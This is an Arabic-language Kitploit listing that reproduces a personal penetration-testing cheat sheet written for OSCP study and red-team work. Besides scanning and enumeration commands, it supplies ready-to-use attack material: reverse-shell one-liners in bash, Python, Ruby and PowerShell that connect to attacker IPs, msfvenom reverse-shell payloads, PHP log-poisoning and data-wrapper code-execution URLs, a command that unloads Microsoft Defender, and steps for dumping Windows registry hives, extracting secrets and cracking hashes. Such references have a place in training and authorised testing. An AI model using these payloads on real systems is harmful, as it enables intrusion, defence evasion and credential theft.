Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Pentest-Cheat-Sheet — هناك الكثير من أوراق الغش (Cheat Sheets) في العالم، لكن هذه ورقتي. | Kitploit
أدوات/GitHubGitHub/d0n601/pentest-cheat-sheet
كسر كلمات المرورتصعيد الامتيازاتالاستطلاعالاستغلالالحركة الجانبيةاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمرموارد منسقة
GitHubd0n601/pentest-cheat-sheet

Pentest-Cheat-Sheet

3897منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

هناك الكثير من أوراق الغش (Cheat Sheets) في العالم، لكن هذه ورقتي.

عرض المستودع

ورقة الغش لاختبار الاختراق (Pentest Cheat Sheet)

هناك العديد من أوراق الغش في الخارج، لكن هذه ورقة غش خاصة بي. إنها عمل قيد التطوير حاليًا، وتعيش كمسودة أولية يتم تحديثها كثيرًا، في بعض الأحيان. بدأت هذا العمل أثناء دراستي لشهادة OSCP، لكنه الآن يتطور ليشمل أشياء عملية أكثر أحتاجها كمختبر اختراق للفريق الأحمر (Red Teamer). الإضافات الجديدة على الأرجح لن تكون مفيدة في الامتحان، وقد تتضمن حتى أدوات محظورة.

الاستطلاع (Recon)

غير مكتمل جدًا...

لينكس محليًا (Linux Local)

find / -name flag.txt للعثور على الملفات بالاسم.

grep -R "flag40" / -s -n للبحث عن سلسلة نصية في الملفات، مع البحث المتكرر بدءًا من الدليل الجذر، دون إظهار رسائل الخطأ.

ويندوز محليًا (Windows Local)

dir /s flag.txt للعثور على ملفات باسم flag.txt في الدليل الحالي والدلائل الفرعية.

الدليل النشط (Active Directory)

أداة مفيدة -> wadcoms.github.io

فحص المنافذ (Port Scanning)

nmap

nmap -sn 10.11.1.0/24 مسح الشبكة للعثور على الأجهزة.

  • nmap -sn 10.11.1.0/24 -oG - | awk '/Up$/{print $2}' > list_ips.txt فحص الشبكة بحثًا عن عناوين IP النشطة، وحفظ عناوين IP في قائمة.

nmap -A 10.10.10.10 لفحص سريع لمنافذ TCP الشائعة مع اكتشاف نظام التشغيل والخدمات.

nmap -A 10.10.10.10 -p- لفحص جميع منافذ TCP مع اكتشاف نظام التشغيل والخدمات.

nmap -A -sU 10.10.10.10 لفحص جميع منافذ UDP مع اكتشاف نظام التشغيل والخدمات.

sudo nmap -O -A -sV 10.10.10.10 لفحص جميع منافذ TCP الشائعة، والتعرف على بصمة نظام التشغيل، وتشغيل السكريبتات، والتقاط اللافتات (banners).

عبر Proxychains

proxychains nmap -Pn -sT 10.10.10.10 -v لأن فحوصات ICMP/UDP لا تعمل.

Netcat

العلامة -w لتحديد المهلة بالثواني والعلامة -z لإرسال صفر بايت من البيانات (للفحص)

nc -nvv -w 1 -z 10.11.1.220 3388-3390 فحص TCP للمنافذ من 3388 إلى 3390.

nc -nv -u -z -w 1 10.11.1.115 160-162 فحص UDP للمنافذ من 160 إلى 162.

تعداد الدلائل (Directory Enumeration)

Gobuster

  • مثال على كسر الدلائل gobuster dir -u http://10.1.1.27 -w /usr/share/wordlists/dirb/big.txt.

أنا أحب dirsearch أيضًا.

قوائم كلمات مفيدة على Kali

root@kitploit:~
kali@kali:~/Tools/dirsearch$ ls /usr/share/wordlists
dirb  dirbuster  fasttrack.txt  fern-wifi  metasploit  nmap.lst  rockyou.txt  rockyou.txt.gz  wfuzz
kali@kali:~/Tools/dirsearch$ ls /usr/share/seclists
Discovery  Fuzzing  IOCs  Miscellaneous  Passwords  Pattern-Matching  Payloads  README.md  Usernames  Web-Shells
kali@kali:~/Tools/dirsearch$ 

python3 dirsearch.py -u http://10.11.1.44 -t 100 -e php,gzip,tar,txt -w /usr/share/wordlists/dirb/big.txt -r تعداد الدلائل باستخدام big.txt من dirb، انسخ والصق مع تغيير IP/URL والامتدادات.

python3 dirsearch.py -u http://10.11.1.44 -t 100 -e php,gzip,tar,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r تعداد الدلائل باستخدام قائمة الدلائل من dirbuster، انسخ والصق مع تغيير IP/URL والامتدادات.

python3 dirsearch.py -u http://10.11.1.71 -t 100 -e cgi -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt -r، تخمين ملفات CGI.

تعداد المجلدات المشتركة (rsync)

وحدة rsync هي في الأساس مشاركة دليل. يمكن حماية هذه الوحدات اختياريًا بكلمة مرور. هذا الخيار يسرد الوحدات المتاحة ويحدد اختياريًا ما إذا كانت الوحدة تتطلب كلمة مرور للوصول**:**

root@kitploit:~
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>

تعداد SMB

يدويًا

smbclient -L 10.11.1.146 لسرد المشاركات المتاحة

smbclient //10.11.1.146/IPC$ لتسجيل الدخول إلى تلك المشاركة. إذا لم يعمل ذلك، جرب باستخدام sudo... sudo smbclient //10.11.1.146/IPC$

آليًا

enum4linux 10.11.1.146 -a -o لاستخدام enum4linux لأتمتة مشاركات smb.

تعداد RPC

إذا كان بإمكانك الاتصال بتسجيل دخول Null -> rpcclient -U '' -N forest.htb.

root@kitploit:~
rpcclient $> querydomaininfo
command not found: querydomaininfo
rpcclient $> querydominfo
Domain:         HTB
Server:
Comment:
Total Users:    105
Total Groups:   0
Total Aliases:  0
Sequence No:    1
Force Logoff:   -1
Domain Server State:    0x1
Server Role:    ROLE_DOMAIN_PDC
Unknown 3:      0x1
root@kitploit:~
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
rpcclient $> 

مقال جيد
مقال جيد آخر

NFS

showmount -e 10.10.10.10 لرؤية المشاركات المتاحة mount -t nfs 10.10.10.10:/ /tmp -o nolock لتثبيت الدليل الجذر، أو أي مجلد آخر.

تعداد SNMP

onesixtyone -c community -i ips لفحص الشبكة المستهدفة وتحديد خوادم SNMP حيث community وips قائمتان، community = (public, private, manager).

snmp-check 10.11.1.227 يقوم بكل ما يلي، لكن بشكل أفضل ويقوم بتنسيقه لك بشكل جميل :)

snmpwalk -c public -v1 -t 10 10.11.1.115 تعداد شجرة MIB بالكامل.

snmpwalk -c public -v1 10.11.1.14 1.3.6.1.4.1.77.1.2.25 تعداد مستخدمي Windows.

snmpwalk -c public -v1 10.11.1.73 1.3.6.1.2.1.25.4.2.1.2 تعداد عمليات Windows الجارية.

snmpwalk -c public -v1 10.11.1.14 1.3.6.1.2.1.6.13.1.3 تعداد منافذ TCP المفتوحة.

snmpwalk -c public -v1 10.11.1.50 1.3.6.1.2.1.25.6.3.1.2 تعداد البرامج المثبتة.

الشلات العكسية (Reverse Shells)

Bash

/bin/bash -i >& /dev/tcp/192.168.119.137/1337 0>&1

Python

root@kitploit:~
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Ruby

root@kitploit:~
ruby -rsocket -e'f=TCPSocket.open("10.10.14.3",8081).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

PowerShell

root@kitploit:~
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.119.137',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

المستمعون (Listeners)

Netat

nc -lvp 4444 الاستماع (لالتقاط) الشل العكسي باستخدام Netcat على المنفذ 4444

توسيع شل TTY

python -c 'import pty; pty.spawn("/bin/bash")' أو python3 -c 'import pty; pty.spawn("/bin/bash")'

MSFVenom

ASP

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f asp > shell.asp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f war > shell.war

JSP

يعمل هذا أيضًا مع Cold Fusion بدلاً من الويب شل المعقد msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f raw > shell.jsp

ملف لينكس ثنائي

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.49.133 LPORT=443 -f elf > shell.elf

كود الشل (Shell Code)

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\3d" ترميز الأحرف الضارة، شل ويندوز.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 -b "\x00\x20" -f py -v shellcode لينكس، مع إخراج بايثون كخيار.

الأنفاق والتنقل الجانبي (Tunneling and Pivoting)

إعادة توجيه المنافذ محليًا. المثال أدناه يسمح بالوصول إلى الخدمات على pandora.htb، المتوفرة فقط على localhost.
ssh -L 127.0.0.1:9050:pandora.htb:80 [email protected]

إعادة توجيه المنافذ ديناميكيًا.
ssh -D 9050 [email protected]

خدع RDP

استخدم xfreerdp إذا فشل rdesktop يومًا ما وأعطاك Certificate recieved from server is NOT trusted by this sytem,...

proxychains4 xfreerdp /u:dev /v:10.0.0.5:3389

تصعيد الامتيازات (Privilege Escalation)

لينكس

sudo -l، إذا كان هناك أي شيء مثير للاهتمام مثل تشغيل سكريبتات كمستخدمين مع NOPASSWD: ALL.

إصدار التوزيعة

  • cat /etc/issue

إصدار النواة والمعمارية

  • uname -r
  • arch

العثور على الدلائل القابلة للكتابة

find / -writable -type d 2>/dev/null

عرض ثنائيات SUID

find / -perm -u=s -type f 2>/dev/null

العمليات الجارية

ps axu

فحص الخدمات التي تستمع

ss -lnpt

مهام Cron

ls -la /etc/cron.d يعرض مهام cron الموجودة بالفعل في cron.d

ويندوز

powershell -c "Invoke-WebRequest -Uri http://10.10.14.10/39719.ps1 -OutFile ./39719.ps1 نقل ملفات للمبتدئين

systeminfo للحصول على معلومات جيدة.

tasklist /SVC لعرض الخدمات الجارية.

sc queryex type=service state=all للاستعلام عن جميع الخدمات، سواء كانت تعمل أم لا.

إيجاد ثغرات النواة

Windows Exploit Suggester

ترجمة الاستغلالات عبر الأنظمة (Cross Compile)

i686-w64-mingw32-gcc shell.c -o shell.exe لـ 32bit Windows i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32

x86_64-w64-mingw32-gcc 271.c -o 271.exe لـ 64bit Windows

نقل الملفات (File Transfers)

Windows XP (طريقة FTP)

  1. شغّل خادم FTP على كالي عبر sudo python3 -m pyftpdlib -p 21.
  2. على الجهاز الضحية...
root@kitploit:~
echo open 192.168.119.150>ftp.txt
echo USER anonymous a>>ftp.txt
echo binary>>ftp.txt
echo GET file.exe>>ftp.txt
echo bye>>ftp.txt
ftp -v -n -s:ftp.txt

Windows Powershell 4.0 & 5.0

إذا لم يكن هناك اسم مستعار wget، جرب Invoke-WebRequest "http://192.168.119.229/mimikatz64.exe" -OutFile "C:\Users\administrator.xor\Desktop\m.exe".

تجاوز سعة المخزن المؤقت (Buffer Overflow)

الأحرف الضارة (Bad Characters)

root@kitploit:~
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

تحديد موقع EIP

msf-pattern_create -l 2196 إنشاء نمط فريد لتجاوز سعة المكدس.

msf-pattern_offset -l 2196 -q 72433372 تحديد الإزاحة للقيمة الموجودة في EIP وقت الانهيار.

msf-nasm_shell (توليد Opcodes)

root@kitploit:~
kali@kali: ~$ msf-nasm_shell
nasm > add eax,12
00000000  83C00C            add eax,byte +0xc
nasm > JMP EAX
00000000  FFE0              jmp eax
nasm > 

استغلال تطبيقات الويب

LFI (تضمين الملفات المحلي)

قائمة LFI للينكس

تلويث ملفات السجل (Log Files)

اكتب كود php إلى ملف السجل لتنفيذ أوامر الشل

root@kitploit:~
kali@kali:~$ nc -nv 10.11.0.22 80
(UNKNOWN) [10.11.0.22] 80 (http) open
<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>

http://10.11.0.22/menu.php?file=c:\xampp\apache\logs\access.log&cmd=ipconfig استدعِ الرابط مع LFI وGET['cmd']

RFI (تضمين الملفات البعيد)

لاحظ أن %00 في النهاية تساعد في إنجاز الأمر عند الحاجة.

root@kitploit:~
https://sucka.com/internal/advanced_comment_system/index.php?ACS_path=http://192.168.119.150/test.txt%00

PHP Wrappers

http://10.11.0.22/menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?> لتنفيذ أكواد php عشوائية.

http://192.168.111.53:4443/site/index.php?page=data:text/plain,<?php echo shell_exec("powershell.exe -executionPolicy Unrestricted -InputFormat none -File reverse.ps1") ?> شل عكسي عبر PowerSHell باستخدام wrappers

evasion من برامج مكافحة الفيروسات

MacOS

قتل Microsoft Defender

root@kitploit:~
launchctl unload /Library/LaunchAgents/com.microsoft.wdav.tray.plist

كسر كلمات المرور

النهب من سجل ويندوز (Registry)

root@kitploit:~
C:\> reg.exe save hklm\sam c:\windows\temp\sam.save
C:\> reg.exe save hklm\security c:\windows\temp\security.save
C:\> reg.exe save hklm\system c:\windows\temp\system.save

Impacket Secrets Dump

لسحب الأسرار/التجزئات (hashes) من الملفات المحفوظة أعلاه impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL > SECRETS.DUMP && cat SECRETS.DUMP.

Impacket GetUserSPNs

لسحب تجزئة TGT لمستخدم نطاق لديه UF_DONT_REQUIRE_PREAUTH مضبوطًا: impacket-GetNPUsers -no-pass -dc-ip forest.htb htb/svc-alfresco.

/etc/shadow

ورقة غش لخوارزميات التجزئة bob:$1$Rrhb4lzg$Ee8/JYZjv.NimwyrSEL6R/:16903:0:99999:7:::

  • $1$ هي MD5 (md5crypt)
  • $2a$ هي Blowfish
  • $2y$ هي Blowfish
  • $5$ هي SHA-256
  • $6$ هي SHA-512

الملح (salt) هو Rrhb4lzg

التجزئة هي Ee8/JYZjv.NimwyrSEL6R/

الكسر عبر hashcat

/etc/shadow

  1. أنشئ ملف التجزئة 1$Rrhb4lzg$Ee8/JYZjv.NimwyrSEL6R/ باسم bob.hash
  2. أمثلة
  • hashcat -m 500 -a 0 bob.hash /usr/share/wordlists/rockyou.txt --force لـ $1$
  • hashcat -m 1800 -a 0 bob.hash /usr/share/wordlists/rockyou.txt --force لـ $6$

Windows SAM

  1. أنشئ ملف التجزئة Administrator:500:aad3b435b51404eeaad3b435b51404ee:3fee04b01f59a1001a366a7681e95699:::.
  2. الكسر hashcat -m 1000 -a 0 admin.hash ~/rockyou.txt --force.

تسجيل دخول نطاق ويندوز

  1. أنشئ ملف التجزئة $DCC2$10240#Administrator#68381d9a192e14343ea381574668c83c.
  2. الكسر john --wordlist=~/rockyou.txt tgt.hash.

Kerberos TGT

  1. أنشئ ملف التجزئة $krb5asrep$23$svc-alfresco@HTB:6d400d8f440d63dcb3d152e07796abad$6fe3b792a228a8d460673fb0ddf4df02ee4f50e46bd0a02f8d3b722179aa342a743fa27779d984d44dc2ae6c0a96cb6de46a007a82cb24448b4dea2bdde5151c8c0b2a8dcd6c0a050e6d6f126f5ae495c127a486df91d51f3d08e79c218477caf936a189f34fe3df258360091161d4f935bf1b9cc0bb69cfd1ddfa60cc3426d4f49ad7926f74f6be6be4754fa4bbbbad2ca3d7f5df76ce34a03a85c4c7e9a6db76599acaa4ebe1ce5bdcfcc5caa7f883ab9cf99560cb1339eb87e7c175fc9c1d6123362be751c6fd9ca583512a4fdde5f833af279c64378bc7d321391f40c833.
  2. كسر التجزئة hashcat -m 13100 tgt.hash ~/rockyou.txt --force.

أوضاع Hashcat

تنزيل الأداة